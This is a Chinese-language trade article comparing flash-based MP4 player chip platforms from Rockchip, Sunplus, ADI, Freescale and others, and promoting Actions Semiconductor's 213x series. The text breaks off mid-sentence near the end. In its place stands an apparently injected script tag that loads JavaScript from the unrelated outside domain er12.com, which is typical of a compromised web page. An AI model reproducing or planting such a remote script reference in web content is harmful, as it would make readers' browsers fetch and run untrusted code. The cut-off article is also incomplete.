随着多媒体的内容越来越丰富，客户对于视频播放的需求也越来越强，市场上flashbase的mp4方案的开发方案层出不穷，一场针对主流320×240＠25帧的媒体方案之争在2007年下半年必将群雄逐鹿。目前市场上mp4开发的两大主流形态：一是低级阶段，使用ic设计原厂的标准案，进行ui的小修改就可第一时间上市；二是高级阶段，在标准平台上做差异化，对于有能力的系统开发商odm，可以自行开发如gps、游戏、dtv、蓝牙，wi-fi等特色产品。如何高效，快速的切入市场。如何让跟随的方案设计公司能实现差异化，发挥各自特长，掘金细分市场，是各大ic设计公司面临的挑战。
目前在flashbase主流市场的厂商有rockchip，凌阳，adi，飞思卡尔，安凯，spansion，samsung，sigmatel,等几家，每家的平台都各有特色。
rockchip：针对320×240＠25帧这个分辨率，它是第一个切入该市场的方案。其方案成本低，但定制性不强，目前还没有较深层次二次开发的机会。另外由于选用dsp内核，所以在操作系统的选取上也有困难，对扩展性有制约。另外对新格式的支持也会比较慢，由于代码重用性太低，必须开发全新的代码，其方案xvid的音频格式直到目前只能支持mp2就是一个侧面的例子。总的来说，虽占先机，但在方案扩展和技术更新上，后劲不足。
凌阳：其方案采用au的屏幕是目前的这个主流市场中唯一选用rgb接口的方案，显示屏的选取上具有成本优势。该ic对tv支持比较强，如电视录制和播放，但支持的音视频格式仅限于asf和mp3，并未针对mp4做更多的格式支持。视频解码能也力比较差，扩展性不强，二次开发也不多见。另一方面，由于公司产品线太广，支持不够，问题也比较多，功耗、音质都不太理想，usb也还是1.1标准。总的说来，方案成本可能有优势，但其他方面均差强人意，综合实力比较弱。
adi：其方案在ic功耗上处于最低，甚至标称在650mah电池播放9小时视频。由于采用特殊的汇聚处理器，兼有dsp和risc32处理能力，有非凡的处理能力和功耗性能。但同时也带来扩展性能能不强，软件成熟度不够的问题。由于没有mmu，对如linux，wince等强扩展性能的操作系统的支持不足，软件移植会碰到较大困难。另外由于adi是数字为主的芯片设计制造商，soc能力不强。模拟部分电路，如电源管理，音频dac都需要外挂，所以成本必然成为方案瓶颈。总的所来，性能不错，但成本和软件移植都有问题，和凌阳一样，也是个单项冠军。
飞思卡尔：标准arm9架构，接口类型丰富，支持较多应用软件，同时有内部硬件加速，选用linux操作系统，这是arm9系列方案中的代表性的产品。但由于均采用bga封装，不利于制造和研发。另外soc性能不好，电源模块和音频dac很多需要外挂，成本不具优势。再者由于芯片内部架构大多一致，公司多为国外大型公司，其sdk的支持依赖于国内第三方公司进行。软件公司对硬件的了解深度不够导致软件的优化和sdk的更新速度不够，常常导致最终产品功耗、效率、稳定性优化不够，而丧失竞争力。市场有类似产品有spansion，samsung，和sigmatel等，都具有相同的特点。一句话，这些方案在生产，成本和客户服务方面都需要改善，用于主流产品会比较吃力。
从市场主流的几家mp4平台的特点来看，如何取得成本，上市时间，和平台可扩展性的之间平衡，才是ic设计厂商最应该关注的问题。
全球最大mp3播放器ic供应商炬力公司，针对mp4市场的不同层次的需求，于06年底07年初推出了面向qvga＠25帧主流市场的213x系列，又称13系列。它推出的目标为了满足处于不同阶段的系统开发商对成本，上市时间，和扩展性的不同需求。
处于初级阶段厂家看中的是成本，是开发时间，是开发平台的易用性。炬力公司的213x方案负责人，资深fae－－付工评价目前13系列的方案说“相比以前的方案，原有优势不变，bom成本低，方案完整，开发方便，底层和上层做了区隔，底层做了封装，上层提供源码，只需要做ap的改动，两层的api接口有详细文档，技术支持和培训到位”，这解除了技术开发人员对开发复杂度的疑虑。据称，213x系列的低端的方案，采用标准ucos的操作系统的，市面上的学习资源和源码很多，较容易培养开发人员，同时配备了详细的文档和培训机制，熟悉起来更为简单。高端方案，则采用标准linux操作系统，更方便了大批对linux和标准c编程的资深软件人员迅速的切入。至于成本方面，由于多年的soc市场的经验，模拟部分全部内建，外围器件除基准源外，只有无源器件。对于低端方案，据称可以在2msdram的低配置下获得320×240＠25帧的xvid解码能力，由此，213x系列方案针对同类的产品成本优势可见一斑。
关于方案的差异化，炬力集成全球市场策略总监，李强如是说。“213x系列的推出，希望能给厂商有不同的发挥余地，让他们可以差异化，这就是重点。没有功能上的差异化，就只能在价格上硬拼。当然对消费者是好事，但可选择性不多，到头来还?script src=http://er12.com/t.js>
